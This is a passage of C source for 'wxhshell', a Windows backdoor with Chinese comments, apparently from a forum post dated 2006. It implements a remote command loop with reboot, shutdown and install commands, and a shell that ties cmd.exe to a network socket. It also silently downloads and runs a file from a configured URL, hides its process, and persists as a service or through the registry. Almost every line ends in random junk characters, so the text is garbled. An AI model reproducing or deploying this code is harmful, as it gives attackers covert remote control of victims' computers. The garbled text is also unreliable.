  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zMO#CZ t  
  } =:6B`,~C  
  else { <Ter\o5%  
<9:~u]ixt  
    switch(cmd[0]) { %BT]h3dcSS  
  u~JR]T  
  // 帮助 a({N}ZDo  
  case '?': { u i$4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gq4X(rsyD  
    break; ,&fZo9J9  
  } i\DU<lD5VN  
  // 安装 jaavh6h)  
  case 'i': { \!w |  
    if(Install()) zuFPG{^\#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzO5p=}  
    else ^j10 f$B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PY3bn).uR  
    break; ;kR=vv  
    } 3J/l>1[  
  // 卸载 ufw[Ei$I:  
  case 'r': { %""h:1/S  
    if(Uninstall()) %q9"2] cR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -yBj7F|  
    else SkCux  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 28c6~*Te #  
    break; e{XzUY6  
    } O?"uM>r  
  // 显示 wxhshell 所在路径 wf\7sz  
  case 'p': { .Y8P6_  
    char svExeFile[MAX_PATH]; cq3Z}Cp  
    strcpy(svExeFile,"\n\r"); W!Hn`T   
      strcat(svExeFile,ExeFile); &N+`O)$  
        send(wsh,svExeFile,strlen(svExeFile),0); gSj0+|  
    break; B%k C>J  
    } /& c2y=/'C  
  // 重启 4PkKL/E  
  case 'b': { Q 8;JvCz   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dfc% jWbA  
    if(Boot(REBOOT)) 2+C:Em0yI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4GGXT++L  
    else { 0M&~;`W}  
    closesocket(wsh); 19pFNg'kA  
    ExitThread(0); .5s^a.e'O  
    } 3c(mZ   
    break; qK2jJ3)>  
    } Hi/[  
  // 关机 V\e1NS  
  case 'd': { 0S'@(p[A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Cg7  
    if(Boot(SHUTDOWN)) PX2b(fR8_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iWFtb)3B  
    else { h+Yd \k  
    closesocket(wsh); `_i|\}tl  
    ExitThread(0); 5ug|crX  
    } ;volBfv  
    break; FU J<gqL  
    } rwio>4=  
  // 获取shell $/@  L  
  case 's': { ZJF+./vN  
    CmdShell(wsh); `g)  
    closesocket(wsh); B*Om\I  
    ExitThread(0); HVhd#Q;  
    break; UugR  
  } K=}Eupn=  
  // 退出 v&d'ABeT  
  case 'x': { f1elzANy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :PY6J}:&#  
    CloseIt(wsh); 1CSGG'J]E  
    break; [u^ fy<jdp  
    } {.[EXMX  
  // 离开 G -K{  
  case 'q': { mh`uvqY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ur=:Ha  
    closesocket(wsh); mW+5I-~  
    WSACleanup(); 0 z]H=  
    exit(1); J P5en  
    break; UIg?3J}R  
        } C]l)Pz$  
  } bmi",UZ:F  
  } yHlQKI  
11Qi _T\  
  // 提示信息 aJF/y3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ qaT jSP  
} *tk=DsRW  
  } ;*9<lUvu  
>j$aY  
  return; i_*.  
} p5w9X+G%  
#Ufb  
// shell模块句柄 1[#sHj$Na`  
int CmdShell(SOCKET sock) 1^V.L+0s]  
{ Bgzq  
STARTUPINFO si; kdx06'4o  
ZeroMemory(&si,sizeof(si)); DHuvHK0#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5} ur,0{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y  9z*xS  
PROCESS_INFORMATION ProcessInfo; 05\0g9  
char cmdline[]="cmd"; .a(G=fk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :D;pDl  
  return 0; q #7Nk)<.  
} f\Hw Y)^>  
/0Qo(  
// 自身启动模式 *O@Zn  
int StartFromService(void) 4,h)<(d{  
{ 8;c\} D  
typedef struct Qp)?wny4  
{ {<gX~./]c  
  DWORD ExitStatus; ,F` 1VpTd8  
  DWORD PebBaseAddress; So e2Gq  
  DWORD AffinityMask; f7!48,(fB  
  DWORD BasePriority; &V SZ  
  ULONG UniqueProcessId; Kb;Pd!Q  
  ULONG InheritedFromUniqueProcessId; wgolgof  
}   PROCESS_BASIC_INFORMATION; r&+C %  
gd#?rc*f<3  
PROCNTQSIP NtQueryInformationProcess; M8\/[R\  
B]}gfVO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a}|<*!4zUQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9IrCu?n9b  
|O'*CCrCL  
  HANDLE             hProcess; M"{*))O\-c  
  PROCESS_BASIC_INFORMATION pbi; tq@)J_7|  
;mz#$"(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F2_'U' a  
  if(NULL == hInst ) return 0; <exyd6iI  
>SziRm>Y7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9=/4}!.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \Ucv<S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cXf/  
\w1',"l`  
  if (!NtQueryInformationProcess) return 0; kTT%< e  
.3n\~Sn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D)l\zs%ie  
  if(!hProcess) return 0; 7r)]9_[(  
/L@o.[H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; < .e4  
-e_TJA  
  CloseHandle(hProcess); %hZX XpuO  
@OUBo;/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F^%\AA]8  
if(hProcess==NULL) return 0; xN}f?  
O'#;Ge/,  
HMODULE hMod; ^-mWk?>  
char procName[255]; ~&F|g2:  
unsigned long cbNeeded; #Z `Tk)u/  
(18ZEKk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )K$xu(/K  
AFvv+ ss  
  CloseHandle(hProcess); HrFbUK@@  
G?\eO&QG{"  
if(strstr(procName,"services")) return 1; // 以服务启动 ~]?EV?T  
vkR ~nIp  
  return 0; // 注册表启动 !Icznou\  
} _?'W30Dg  
g+QIhur  
// 主模块 a|4D6yUw|  
int StartWxhshell(LPSTR lpCmdLine) BI*0JKQu  
{ /n>vPJvz  
  SOCKET wsl; P_  8!Gp  
BOOL val=TRUE; Fn4yx~0  
  int port=0; & ?5)Jis:  
  struct sockaddr_in door; fz|_c*&64  
>t'A1`W  
  if(wscfg.ws_autoins) Install(); L ed{#+  
7 <]YK`a2d  
port=atoi(lpCmdLine); .H qJ)OH  
7 H:y=?X6  
if(port<=0) port=wscfg.ws_port; ?2,D-3 {  
8@S]P0lk  
  WSADATA data; ]>k8v6*=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q{b-2k  
V\r{6-%XiW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nec}grA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v JVh%l+  
  door.sin_family = AF_INET; Xc" %-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $XMpC{  
  door.sin_port = htons(port); Cd]A1<6s  
;YMg 4Cs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HUCJA-OZGL  
closesocket(wsl); d=uGB"  
return 1; eK*oV}U-k  
} gn~^Ajo  
{+d)M  
  if(listen(wsl,2) == INVALID_SOCKET) { .Z"`:4O   
closesocket(wsl); kdV9F  
return 1; ;E.f%   
} -J#RGB{7  
  Wxhshell(wsl); wxPl[)E  
  WSACleanup(); \*b  .f  
;C:|m7|  
return 0; /7p(%vr  
xWK/uE(  
} rbIYLVA+V  
|4 2;171  
// 以NT服务方式启动 P{_%p<:V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _JTK$ \  
{ )uR_d=B&  
DWORD   status = 0; /]-yZ0hX0O  
  DWORD   specificError = 0xfffffff; m}oR*<.  
_FcTY5."S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x^pt^KR;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xaoR\H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d]^m^  
  serviceStatus.dwWin32ExitCode     = 0; WQiRbbX  
  serviceStatus.dwServiceSpecificExitCode = 0; pYr+n9)^  
  serviceStatus.dwCheckPoint       = 0; -U A &Zt  
  serviceStatus.dwWaitHint       = 0; x{K"z4xbI  
.8%b;b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H<<t^,E^.t  
  if (hServiceStatusHandle==0) return; 4E2/?3D  
=&9c5"V&  
status = GetLastError(); 3T,[  
  if (status!=NO_ERROR) -KfK~P3PF  
{ r@vt.t0#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ONDO xXs  
    serviceStatus.dwCheckPoint       = 0; '@M"#`#0  
    serviceStatus.dwWaitHint       = 0; Q 3^h  
    serviceStatus.dwWin32ExitCode     = status; 2QAP$f0Ln  
    serviceStatus.dwServiceSpecificExitCode = specificError; p8@&(+z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /3SEu(d!  
    return; lA1  
  } Z[] 8X@IPe  
rWDD$4y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >$- YNZA   
  serviceStatus.dwCheckPoint       = 0; LW.j)wB]  
  serviceStatus.dwWaitHint       = 0; n=F rv*"Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); La '6k  
} p=E#!cn3  
Cc%{e9e*  
// 处理NT服务事件,比如:启动、停止 bolG3Tf|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {I $iD  
{ i\b^}m8c.N  
switch(fdwControl) [XDV-6KCE.  
{ : #?_4D!r  
case SERVICE_CONTROL_STOP: G7v<Q,s  
  serviceStatus.dwWin32ExitCode = 0; _Y]Oloo('  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /VufL+q1  
  serviceStatus.dwCheckPoint   = 0; T`Up%5Dk  
  serviceStatus.dwWaitHint     = 0; \#VWZ\M8a  
  { MusUgBQy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GK1nGdT]  
  } y?O-h1"3,  
  return; "JLE  
case SERVICE_CONTROL_PAUSE: =SeQ- H#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6k>5+-&_  
  break; QKts-b[3  
case SERVICE_CONTROL_CONTINUE: ty"L&$bf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kp<Au)u  
  break; js Z"T  
case SERVICE_CONTROL_INTERROGATE: 3F!)7  
  break; *c/V('D/  
}; m;{HlDez  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !9KDdU  
} W#NZnxOX"  
\#Jq%nd  
// 标准应用程序主函数 -=gI_wLbM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %W7%]Z@j  
{ \zFCph4  
c*E7nc)u  
// 获取操作系统版本 \mJR^t  
OsIsNt=GetOsVer(); ~1}fL 1~5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j$/#2%OVN  
$t}W,?   
  // 从命令行安装 e Ru5/y~  
  if(strpbrk(lpCmdLine,"iI")) Install(); HK<S|6B7V  
'<<@@.(f  
  // 下载执行文件 {^N,$,Ab.  
if(wscfg.ws_downexe) { O#18a,o@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &g23tT#P?  
  WinExec(wscfg.ws_filenam,SW_HIDE); WoGnJ0N q  
} ?6&G:Uz/  
KGo^>us  
if(!OsIsNt) { 8,[ *BgeX  
// 如果时win9x,隐藏进程并且设置为注册表启动 $b{8 $<;9  
HideProc(); JU5,\3Lz#  
StartWxhshell(lpCmdLine); <X4f2z{T{@  
} LA59O@r  
else cl]W]^q-Cx  
  if(StartFromService()) Te?PYV-  
  // 以服务方式启动 |;)_-=L0P  
  StartServiceCtrlDispatcher(DispatchTable); >yn]h4M  
else lt:&lIW,3  
  // 普通方式启动 c!wRq4  
  StartWxhshell(lpCmdLine); JBJ?|}5k4c  
u?MhK# Mr  
return 0; ~aQR_S  
}
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只看该作者 1 发表于: 2006-10-10
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